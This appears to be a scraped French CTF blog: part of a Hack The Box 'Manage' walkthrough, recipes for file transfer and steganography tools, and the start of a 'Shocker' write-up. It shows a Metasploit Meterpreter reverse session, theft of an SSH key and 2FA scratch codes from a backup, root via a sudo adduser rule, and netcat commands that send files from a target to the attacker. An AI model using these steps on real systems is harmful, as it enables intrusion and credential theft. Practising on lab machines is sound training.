10.129.x.x:2222 - Handshake with JMX MBean server on 127.0.1.1:33659 [*] 10.129.x.x:2222 - Loading payload... [*] 10.129.x.x:2222 - Replied to request for mlet [*] 10.129.x.x:2222 - Replied to request for payload JAR [*] 10.129.x.x:2222 - Executing payload... [*] 10.129.x.x:2222 - Replied to request for payload JAR [*] 10.129.x.x:2222 - Replied to request for payload JAR [*] Sending stage (58073 bytes) to 10.129.x.x [*] Meterpreter session 1 opened (10.10.x.x:4444 -\u0026gt; 10.129.x.x:59886) at 2025-11-20 10:19:57 +0100 [*] 10.129.x.x:2222 - Server stopped. meterpreter \u0026gt; Le module ouvre une session Meterpreter sur la machine cible avec les droits de l’utilisateur tomcat, ce qui te permet d’obtenir un premier accès au système. user.txt Une fois le shell obtenu, tu peux explorer le système de fichiers et tu trouves facilement le flag user.txt. meterpreter \u0026gt; search -f user.txt Found 1 result... ================= Path Size (bytes) Modified (UTC) ---- ------------ -------------- /opt/tomcat/user.txt 33 2025-04-14 09:32:58 +0200 meterpreter \u0026gt; cat /opt/tomcat/user.txt a86dxxxxxxxxxxxxxxxxxxxxxxxxxxxx279 En poursuivant l’exploration du système, tu identifies les répertoires personnels de deux utilisateurs : karl et useradmin. Ces deux home directories sont accessibles avec les droits de l’utilisateur tomcat, ce qui élargit clairement la surface d’attaque pour la suite de l’escalade. L’exploration du répertoire /home/karl ne révèle cependant aucun élément exploitable. meterpreter \u0026gt; ls -la /home/karl Listing: /home/karl =================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 000667/rw-rw-rwx 0 fif 2025-11-19 23:05:26 +0100 .bash_history 100445/r--r--r-x 220 fil 2022-01-06 17:23:33 +0100 .bash_logout 100445/r--r--r-x 3771 fil 2022-01-06 17:23:33 +0100 .bashrc 040001/--------x 4096 dir 2024-03-01 05:24:20 +0100 .cache 040555/r-xr-xr-x 4096 dir 2025-04-14 09:26:50 +0200 .local 100445/r--r--r-x 807 fil 2022-01-06 17:23:33 +0100 .profile 040001/--------x 4096 dir 2025-04-14 09:24:59 +0200 .ssh 100445/r--r--r-x 0 fil 2024-03-01 05:25:10 +0100 .sudo_as_admin_successful meterpreter \u0026gt; cat /home/karl/.bash_history meterpreter \u0026gt; cat /home/karl/.sudo_as_admin_successful meterpreter \u0026gt; On poursuit donc l’exploration en se concentrant sur le répertoire /home/useradmin, qui est accessible avec les droits actuels. meterpreter \u0026gt; ls -la /home/useradmin Listing: /home/useradmin ======================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 000667/rw-rw-rwx 0 fif 2025-11-19 23:05:26 +0100 .bash_history 100445/r--r--r-x 220 fil 2024-06-21 17:46:55 +0200 .bash_logout 100445/r--r--r-x 3771 fil 2024-06-21 17:46:55 +0200 .bashrc 040001/--------x 4096 dir 2024-06-21 18:48:52 +0200 .cache 100001/--------x 200 fil 2024-06-21 18:48:52 +0200 .google_authenticator 100445/r--r--r-x 807 fil 2024-06-21 17:46:55 +0200 .profile 040555/r-xr-xr-x 4096 dir 2024-06-21 17:53:55 +0200 .ssh 040554/r-xr-xr-- 4096 dir 2024-06-21 18:51:00 +0200 backups meterpreter \u0026gt; cat /home/useradmin/.bash_history meterpreter \u0026gt; Dans le répertoire /home/useradmin, tu découvres un sous-répertoire backups accessible avec les droits de l’utilisateur tomcat. Il contient une archive backup.tar.gz, que tu peux récupérer localement afin de l’analyser. meterpreter \u0026gt; ls -la /home/useradmin/backups Listing: /home/useradmin/backups ================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100444/r--r--r-- 3088 fil 2024-06-21 18:50:37 +0200 backup.tar.gz meterpreter \u0026gt; meterpreter \u0026gt; ls -la /home/useradmin/backups Listing: /home/useradmin/backups ================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100444/r--r--r-- 3088 fil 2024-06-21 18:50:37 +0200 backup.tar.gz meterpreter \u0026gt; download /home/useradmin/backups/backup.tar.gz [*] Downloading: /home/useradmin/backups/backup.tar.gz -\u0026gt; /mnt/kvm-md0/HTB/manage/backup.tar.gz [*] Downloaded 3.02 KiB of 3.02 KiB (100.0%): /home/useradmin/backups/backup.tar.gz -\u0026gt; /mnt/kvm-md0/HTB/manage/backup.tar.gz [*] Completed : /home/useradmin/backups/backup.tar.gz -\u0026gt; /mnt/kvm-md0/HTB/manage/backup.tar.gz meterpreter \u0026gt; Analyse du backup dans Kali Tu peux maintenant extraire l’archive afin d’examiner son contenu et identifier les fichiers potentiellement sensibles. tar -xvzf backup.tar.gz ./ ./.bash_logout ./.profile ./.ssh/ ./.ssh/id_ed25519 ./.ssh/authorized_keys ./.ssh/id_ed25519.pub ./.bashrc ./.google_authenticator ./.cache/ ./.cache/motd.legal-displayed ./.bash_history tar: ./.bash_history: Cannot create symlink to ‘/dev/null\u0026#39;: Operation not supported tar: Exiting with failure status due to previous errors ls -la total 20 drwxr-xr-x 2 kali kali 0 Jun 21 2024 . drwxr-xr-x 2 kali kali 0 Nov 17 16:57 .. -rw-r--r-- 1 kali kali 3088 Jun 21 2024 backup.tar.gz -rw-r--r-- 1 kali kali 220 Jun 21 2024 .bash_logout -rw-r--r-- 1 kali kali 3771 Jun 21 2024 .bashrc drwxr-xr-x 2 kali kali 0 Jun 21 2024 .cache -r--r--r-- 1 kali kali 200 Jun 21 2024 .google_authenticator drwxr-xr-x 2 kali kali 0 Nov 19 16:17 scans_nmap -rw-r--r-- 1 kali kali 807 Jun 21 2024 .profile drwxr-xr-x 2 kali kali 0 Jun 21 2024 .ssh Même si tar affiche une erreur liée à un lien symbolique (.bash_history -\u0026gt; /dev/null), l’extraction s’est bien déroulée et les fichiers utiles — notamment .ssh/id_ed25519 — sont correctement récupérés. En explorant le contenu de l’archive, tu remarques la présence d’un fichier .google_authenticator. Ce type de fichier mérite une attention particulière, car il est généralement associé à une configuration d’authentification à deux facteurs (2FA). cat .google_authenticator CLSSSMHYGLENX5HAIFBQ6L35UM \u0026#34; RATE_LIMIT 3 30 1718988529 \u0026#34; WINDOW_SIZE 3 \u0026#34; DISALLOW_REUSE 57299617 \u0026#34; TOTP_AUTH 99852083 20312647 73235136 92971994 86175591 98991823 54032641 69267218 76839253 56800775 Le répertoire .ssh est également présent dans l’archive et contient une copie des clés SSH de l’utilisateur useradmin. Cette exposition de clés privées constitue une faille critique et ouvre directement la voie à une compromission complète du compte. ls -la .ssh total 12 drwxr-xr-x 2 kali kali 0 Jun 21 2024 . drwxr-xr-x 2 kali kali 0 Jun 21 2024 .. -rw-r--r-- 1 kali kali 98 Jun 21 2024 authorized_keys -rw-r--r-- 1 kali kali 411 Jun 21 2024 id_ed25519 -rw-r--r-- 1 kali kali 98 Jun 21 2024 id_ed25519.pub Connexion SSH avec la clé récupérée cp ./.ssh/id_ed25519* /home/kali/tmp/ cd /home/kali/tmp/ chmod 600 id_ed25519 ssh -i id_ed25519 useradmin@manage.htb (useradmin@manage.htb) Verification code: Lors de la connexion, un Verification code est demandé. Tu peux utiliser l’un des codes présents dans le fichier .google_authenticator, par exemple le premier code disponible : 99852083. Ces codes correspondent à des scratch codes générés par Google Authenticator. Ils servent de codes de secours et peuvent être utilisés une seule fois lorsque l’application 2FA n’est pas disponible. Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-142-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Nov 21 09:39:17 AM UTC 2025 System load: 0.0 Usage of /: 73.8% of 4.34GB Memory usage: 18% Swap usage: 0% Processes: 212 Users logged in: 0 IPv4 address for eth0: 10.129.x.x IPv6 address for eth0: dead:beef::250:56ff:fe94:6cac * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update useradmin@manage:~$ Tu disposes maintenant d’un accès SSH interactif en tant que useradmin, ce qui permet de poursuivre l’analyse locale afin de rechercher une élévation de privilèges. Escalade de privilèges Une fois connecté en SSH en tant que useradmin, tu disposes d’un premier accès utilisateur sur la machine. L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root. Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique : vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root recherche de binaires SUID avec find / -perm -4000 2\u0026gt;/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root) analyse des Linux capabilities avec getcap -r / 2\u0026gt;/dev/null python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root. Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser. Sudo -l Tu commences toujours par vérifier les droits sudo : sudo -l Matching Defaults entries for useradmin on manage: env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User useradmin may run the following commands on manage: (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$ Création de l’utilisateur admin La sortie de sudo -l révèle une règle intéressante : (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$ Cette règle autorise l’utilisateur useradmin à exécuter la commande adduser sans mot de passe, à condition que le nom du nouvel utilisateur soit strictement alphanumérique. Cette contrainte empêche d’ajouter directement des options à la commande. Lorsqu’un utilisateur est créé sous Ubuntu avec adduser, un groupe du même nom est également créé automatiquement. En créant un utilisateur nommé admin, le système crée donc aussi un groupe admin. Sur cette machine, ce groupe dispose encore de privilèges sudo, ce qui permet au nouvel utilisateur d’exécuter des commandes avec les privilèges root. Important — contexte spécifique à cette machine Sur les versions récentes d’Ubuntu, le groupe admin n’est généralement plus utilisé par défaut et a été remplacé par le groupe sudo. Sur la machine Manage, la configuration conserve encore les privilèges sudo pour le groupe admin, ce qui rend cette élévation possible ici. Résultat : L’utilisateur admin nouvellement créé peut exécuter sudo -i et obtenir un shell root immédiatement. useradmin@manage:~$ sudo adduser admin Adding user `admin\u0026#39; ... Adding new group `admin\u0026#39; (1003) ... Adding new user `admin\u0026#39; (1003) with group `admin\u0026#39; ... Creating home directory `/home/admin\u0026#39; ... Copying files from `/etc/skel\u0026#39; ... New password: Retype new password: passwd: password updated successfully Changing the user information for admin Enter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] useradmin@manage:~$ Bascule vers l’utilisateur admin useradmin@manage:~$ su admin Password: To run a command as administrator (user \u0026#34;root\u0026#34;), use \u0026#34;sudo \u0026lt;command\u0026gt;\u0026#34;. See \u0026#34;man sudo_root\u0026#34; for details. admin@manage:/home/useradmin$ sudo -i [sudo] password for admin: root@manage:~# ls -l total 8 -rw-r----- 1 root root 33 Apr 14 2025 root.txt drwx------ 3 root root 4096 Mar 1 2024 snap root@manage:~# root.txt root@manage:~# cat root.txt b364xxxxxxxxxxxxxxxxxxxxxxxxdc34 Conclusion Cette machine illustre une chaîne d’exploitation cohérente autour d’un service d’administration Java mal sécurisé. L’accès JMX exposé via RMI permet d’obtenir un premier shell sur la machine grâce à Metasploit. L’exploration locale révèle ensuite un backup mal protégé contenant une clé SSH privée ainsi que les éléments nécessaires pour contourner l’authentification à deux facteurs. Enfin, l’analyse des droits sudo met en évidence une règle trop permissive autour de la commande adduser. La création d’un utilisateur admin permet alors d’obtenir directement un accès root et de finaliser l’exploitation de la machine. i Feedback \u0026amp; corrections Tu as repéré une erreur, une imprécision ou une amélioration possible ? N’hésite pas à me le signaler. ","date":"2025-12-16T17:00:10+01:00","lastmod":"2026-03-13T11:13:37+01:00","permalink":"https://writeups.hackethical.be/writeups/manage/","summary":"Tomcat exposé via RMI/JMX, exploitation Metasploit, pivot SSH via backup puis accès root avec sudo adduser.","tags":["HTB Easy","Tomcat","RMI","JMX","Metasploit","SSH","adduser"],"title":"Manage — HTB Easy Writeup \u0026 Walkthrough"},{"categories":["Mes recettes"],"content":"Méthode la plus simple et la plus universelle : fonctionne dès que Python et wget/curl sont disponibles. Transfert via HTTP (simple, rapide, universel) Kali → Cible Sur Kali (envoyer) : cd /chemin/du/fichier python3 -m http.server 8000 Sur la cible (recevoir) : cd /chemin/du/fichier (/dev/shm ou /tmp) wget http://\u0026lt;adresse tun0 de kali\u0026gt;:8000/fichier # ou curl -O http://\u0026lt;adresse tun0 de kali\u0026gt;:8000/fichier Cible → Kali Sur la cible (envoyer) : cd /chemin/du/fichier python3 -m http.server 8000 Sur Kali (recevoir) : cd /chemin/du/fichier wget http://IP_CIBLE:8000/fichier # ou curl -O http://IP_CIBLE:8000/fichier Transfert via Netcat (nc) Méthode brute, idéale si pas de wget, pas de curl, pas de Python Web, etc. ⚠️ Avec Netcat, le transfert est direct et sans contrôle : s’il est interrompu ou corrompu, rien ne te prévient. Cette méthode est donc surtout adaptée au transfert de petits fichiers simples (scripts, outils, exploits), quand tu veux aller vite et que la fiabilité n’est pas critique. Kali → Cible Sur la cible (recevoir) : cd /chemin/du/fichier (/dev/shm ou /tmp) nc -lnvp 4444 \u0026gt; fichier_recu Sur Kali (envoyer) : cd /chemin/du/fichier nc IP_CIBLE 4444 \u0026lt; fichier_a_envoyer Cible → Kali Sur Kali (recevoir) : cd /chemin/du/fichier nc -lnvp 4444 \u0026gt; fichier_recu Sur la cible (envoyer) : cd /chemin/du/fichier nc \u0026lt;adresse tun0 de kali\u0026gt; 4444 \u0026lt; fichier_a_envoyer Résumé en une phrase HTTP : la machine qui envoie lance un petit serveur (python3 -m http.server), l\u0026rsquo;autre télécharge avec wget ou curl. Netcat : la machine qui reçoit écoute (nc -lnvp 4444 \u0026gt; fichier), l\u0026rsquo;autre se connecte et envoie (nc IP 4444 \u0026lt; fichier). Le port utilisé peut être choisi librement, à condition qu’il soit ouvert et disponible sur la machine qui reçoit. On utilise en général le 4444 mais moi j\u0026rsquo;aime bien aussi le 12345. ","date":"2025-11-26T16:38:12+01:00","lastmod":"2026-01-15T17:07:27+01:00","permalink":"https://writeups.hackethical.be/recettes/copier-fichiers-kali/","summary":"Méthode la plus simple et la plus universelle : fonctionne dès que Python et wget/curl sont disponibles.\nTransfert via HTTP (simple, rapide, universel) Kali → Cible Sur Kali (envoyer) :\ncd /chemin/du/fichier python3 -m http.server 8000 Sur la cible (recevoir) :\ncd /chemin/du/fichier (/dev/shm ou /tmp) wget http://\u0026lt;adresse tun0 de kali\u0026gt;:8000/fichier # ou curl -O http://\u0026lt;adresse tun0 de kali\u0026gt;:8000/fichier Cible → Kali Sur la cible (envoyer) :\ncd /chemin/du/fichier python3 -m http.server 8000 Sur Kali (recevoir) :\n","tags":["recettes","tools","transferts-fichiers"],"title":"Copier des fichiers depuis et vers Kali Linux"},{"categories":["Mes recettes"],"content":"Cette recette regroupe les outils essentiels utilisés en CTF pour détecter et extraire des données dissimulées par stéganographie. Stegseek — outil principal en CTF Outil principal pour rechercher automatiquement des données cachées et extraire les fichiers protégés par mot de passe Recherche automatique (wordlist intégrée) stegseek image.jpg Outils courants stegseek : brute-force et extraction automatique (outil principal) steghide : stéganographie classique (embed / extract) strings : détection rapide de chaînes ASCII suspectes exiftool : analyse des métadonnées Pour plus d’infos Lien vers un article sur les outils et techniques de stéganographie régulièrement utilisés : Steganography : Tools \u0026amp; Techniques ","date":"2025-11-22T12:34:34+01:00","lastmod":"2026-01-15T17:53:55+01:00","permalink":"https://writeups.hackethical.be/recettes/outils-steganographie/","summary":"Cette recette regroupe les outils essentiels utilisés en CTF pour détecter et extraire des données dissimulées par stéganographie.\nStegseek — outil principal en CTF Outil principal pour rechercher automatiquement des données cachées et extraire les fichiers protégés par mot de passe\nRecherche automatique (wordlist intégrée)\nstegseek image.jpg Outils courants stegseek : brute-force et extraction automatique (outil principal) steghide : stéganographie classique (embed / extract) strings : détection rapide de chaînes ASCII suspectes exiftool : analyse des métadonnées Pour plus d’infos Lien vers un article sur les outils et techniques de stéganographie régulièrement utilisés :\n","tags":["recettes","tools","stéganographie"],"title":"Outils de stéganographie (CTF)"},{"categories":["Mes writeups"],"content":" Introduction Dans ce writeup, tu vas découvrir Shocker, une machine Easy de Hack The Box idéale pour s’entraîner à l’exploitation de Shellshock à travers un script CGI exposé dans le répertoire /cgi-bin/. Grâce à une énumération méthodique, tu identifies progressivement le vecteur d’attaque, puis tu exploites le script user.sh pour obtenir un premier accès au système sous l’utilisateur shelly. La suite du challenge te permet ensuite de réaliser une élévation de privilèges en tirant parti d’un binaire Perl exécutable en tant que root sans mot de passe via sudo. Ce writeup montre comment une énumération rigoureuse permet d’identifier un CGI exposé, de confirmer l’exploitation de Shellshock, puis d’obtenir un accès root étape par étape. Énumération Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète. C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables. Concrètement, l’objectif de cette phase d’énumération est d’identifier : quels ports sont ouverts quels services sont accessibles si une application web est présente quels répertoires sont exposés si des sous-domaines ou vhosts peuvent être exploités Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants : mon-nmap : identifie les ports ouverts et les services en écoute mon-recoweb : énumère les répertoires et fichiers accessibles via le service web mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts Tu retrouves ces outils dans la section Outils / Mes scripts. Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist. Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans : /usr/share/wordlists/htb-dns-vh-5000.txt Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box. Avant de lancer les scans, vérifie que le nom d’hôte shocker.htb résout correctement vers l’adresse IP de la cible. Sur HTB, cela passe généralement par une entrée dans /etc/hosts. Ajoute l’entrée 10.129.x.x shocker.htb dans /etc/hosts. sudo nano /etc/hosts Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés : mon-nmap shocker.htb # Résultats dans le répertoire scans_nmap/ # - scans_nmap/full_tcp_scan.txt # - scans_nmap/enum_ftp_smb_scan.txt # - scans_nmap/aggressive_vuln_scan.txt # - scans_nmap/cms_vuln_scan.txt # - scans_nmap/udp_vuln_scan.txt Scan initial Le scan initial TCP complet (scans_nmap/full_tcp_scan.txt) te révèle les ports ouverts suivants : Note : les IP et timestamps peuvent varier selon les resets HTB ; l’important ici est la surface exposée (Apache, CGI et SSH). # Nmap 7.95 scan initiated Fri Nov 21 16:15:03 2025 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt shocker.htb Nmap scan report for shocker.htb (10.129.x.x) Host is up (0.0069s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 2222/tcp open EtherNetIP-1 # Nmap done at Fri Nov 21 16:15:11 2025 -- 1 IP address (1 host up) scanned in 7.47 seconds Scan agressif Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités. Voici le résultat (scans_nmap/aggressive_vuln_scan.txt) : [+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour shocker.htb [+] Commande utilisée : nmap -Pn -A -sV -p\u0026#34;80,2222\u0026#34; --script=\u0026#34;http-vuln-*,http-shellshock,http-sql-injection,ssl-cert,ssl-heartbleed,sslv2,ssl-dh-params\u0026#34; --script-timeout=30s -T4 \u0026#34;shocker.htb\u0026#34; # Nmap 7.95 scan initiated Fri Nov 21 16:15:11 2025 as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p80,2222 --script=http-vuln-*,http-shellshock,http-sql-injection,ssl-cert,ssl-heartbleed,sslv2,ssl-dh-params --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt shocker.htb Nmap scan report for shocker.htb (10.129.x.x) Host is up (0.0070s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 2222/tcp) HOP RTT ADDRESS 1 6.59 ms 10.10.x.x 2 6.86 ms shocker.htb (10.129.x.x) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 21 16:15:19 2025 -- 1 IP address (1 host up) scanned in 8.41 seconds Scan ciblé CMS Résultats du scan ciblé CMS (scans_nmap/cms_vuln_scan.txt). # Nmap 7.95 scan initiated Fri Nov 21 16:15:19 2025 as: /usr/lib/nmap/nmap --privileged -Pn -sV -p80,2222 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt shocker.htb Nmap scan report for shocker.htb (10.129.x.x) Host is up (0.0072s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-headers: | Date: Fri, 21 Nov 2025 15:15:26 GMT | Server: Apache/2.4.18 (Ubuntu) | Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT | ETag: \u0026#34;89-559ccac257884\u0026#34; | Accept-Ranges: bytes | Content-Length: 137 | Vary: Accept-Encoding | Connection: close | Content-Type: text/html | |_ (Request type: HEAD) |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-sitemap-generator: | Directory structure: | / | Other: 1; jpg: 1 | Longest directory structure: | Depth: 0 | Dir: / | Total files found (by extension): |_ Other: 1; jpg: 1 |_http-devframework: Couldn\u0026#39;t determine the underlying framework or CMS. Try increasing \u0026#39;httpspider.maxpagecount\u0026#39; value to spider more pages. 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 21 16:15:37 2025 -- 1 IP address (1 host up) scanned in 18.26 seconds Scan UDP rapide Résultats du scan UDP rapide (scans_nmap/udp_vuln_scan.txt). # Nmap 7.95 scan initiated Fri Nov 21 16:15:37 2025 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt shocker.htb Nmap scan report for shocker.htb (10.129.x.x) Host is up (0.0080s latency). PORT STATE SERVICE 53/udp open|filtered domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp open|filtered msrpc 137/udp closed netbios-ns 138/udp open|filtered netbios-dgm 139/udp open|filtered netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp open|filtered microsoft-ds 500/udp closed isakmp 514/udp open|filtered syslog 520/udp closed route 631/udp closed ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp closed unknown # Nmap done at Fri Nov 21 16:15:47 2025 -- 1 IP address (1 host up) scanned in 9.43 seconds Énumération des chemins web Pour la partie découverte de chemins web, utilise le script dédié mon-recoweb mon-recoweb shocker.htb # Résultats dans le répertoire scans_recoweb/ # - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes # - scans_recoweb/dirb.log # - scans_recoweb/dirb_hits.txt # - scans_recoweb/ffuf_dirs.txt # - scans_recoweb/ffuf_dirs_hits.txt # - scans_recoweb/ffuf_files.txt # - scans_recoweb/ffuf_files_hits.txt # - scans_recoweb/ffuf_dirs.json # - scans_recoweb/ffuf_files.json Le fichier RESULTS_SUMMARY.txt te permet d’identifier rapidement les chemins intéressants sans parcourir tous les logs. Même si le site semble presque vide, cette étape reste indispensable. L’énumération de répertoires permet souvent de découvrir des chemins techniques non exposés dans l’interface web, comme des dossiers d’administration, des API internes ou des répertoires de scripts. ===== mon-recoweb-dev — RÉSUMÉ DES RÉSULTATS ===== Commande principale : /home/kali/.local/bin/mes-scripts/dev/mon-recoweb-dev Script : mon-recoweb-dev v2.1.0 Cible : shocker.htb Périmètre : / Date début : 2026-01-10 11:23:56 Commandes exécutées (exactes) : [dirb — découverte initiale] dirb http://shocker.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/dirb.log [ffuf — énumération des répertoires] ffuf -u http://shocker.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_dirs.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/ffuf_dirs.log [ffuf — énumération des fichiers] ffuf -u http://shocker.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_files.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/ffuf_files.log Processus de génération des résultats : - Les sorties JSON produites par ffuf constituent la source de vérité. - Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse). - Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP. - Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé). - Les résultats sont normalisés sous la forme : http://cible/chemin (CODE:xxx|SIZE:yyy) - Les chemins sont ensuite classés par type : • répertoires (/chemin/) • fichiers (/chemin.ext) - Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel, garantissant la reproductibilité complète du scan. ---------------------------------------------------- === Résultat global (agrégé) === http://shocker.htb/cgi-bin/ (CODE:403|SIZE:294) http://shocker.htb/. (CODE:200|SIZE:137) http://shocker.htb/.htaccess.bak (CODE:403|SIZE:299) http://shocker.htb/.htaccess (CODE:403|SIZE:295) http://shocker.htb/.htc (CODE:403|SIZE:290) http://shocker.htb/.ht (CODE:403|SIZE:289) http://shocker.htb/.htgroup (CODE:403|SIZE:294) http://shocker.htb/.htm (CODE:403|SIZE:290) http://shocker.htb/.html (CODE:403|SIZE:291) http://shocker.htb/.htpasswd (CODE:403|SIZE:295) http://shocker.htb/.htpasswds (CODE:403|SIZE:296) http://shocker.htb/.htuser (CODE:403|SIZE:293) http://shocker.htb/index.html (CODE:200|SIZE:137) http://shocker.htb/server-status (CODE:403|SIZE:299) http://shocker.htb/server-status/ (CODE:403|SIZE:299) === Détails par outil === [DIRB] http://shocker.htb/cgi-bin/ (CODE:403|SIZE:294) http://shocker.htb/index.html (CODE:200|SIZE:137) http://shocker.htb/server-status (CODE:403|SIZE:299) [FFUF — DIRECTORIES] http://shocker.htb/server-status/ (CODE:403|SIZE:299) [FFUF — FILES] http://shocker.htb/. (CODE:200|SIZE:137) http://shocker.htb/.htaccess.bak (CODE:403|SIZE:299) http://shocker.htb/.htaccess (CODE:403|SIZE:295) http://shocker.htb/.htc (CODE:403|SIZE:290) http://shocker.htb/.ht (CODE:403|SIZE:289) http://shocker.htb/.htgroup (CODE:403|SIZE:294) http://shocker.htb/.htm (CODE:403|SIZE:290) http://shocker.htb/.html (CODE:403|SIZE:291) http://shocker.htb/.htpasswd (CODE:403|SIZE:295) http://shocker.htb/.htpasswds (CODE:403|SIZE:296) http://shocker.htb/.htuser (CODE:403|SIZE:293) http://shocker.htb/index.html (CODE:200|SIZE:137) Recherche de vhosts Enfin, teste rapidement la présence de vhosts avec le script mon-subdomains mon-subdomains shocker.htb # Résultats dans le répertoire scans_subdomains/ # - scans_subdomains/scan_vhosts.txt Si aucun vhost distinct n’est détecté, ce fichier te permet malgré tout de confirmer que le fuzzing n’a rien révélé d’exploitable. === mon-subdomains shocker.htb START === Script : mon-subdomains Version : mon-subdomains 2.0.0 Date : 2026-01-09 18:45:57 Domaine : shocker.htb IP : 10.129.x.x Mode : large Master : /usr/share/wordlists/htb-dns-vh-5000.txt Codes : 200,301,302,401,403 (strict=1) VHOST totaux : 0 - (aucun) --- Détails par port --- Port 80 (http) Baseline#1: code=200 size=137 words=13 (Host=zhd4htxy6w.shocker.htb) Baseline#2: code=200 size=137 words=13 (Host=trkcky4t3v.shocker.htb) Baseline#3: code=200 size=137 words=13 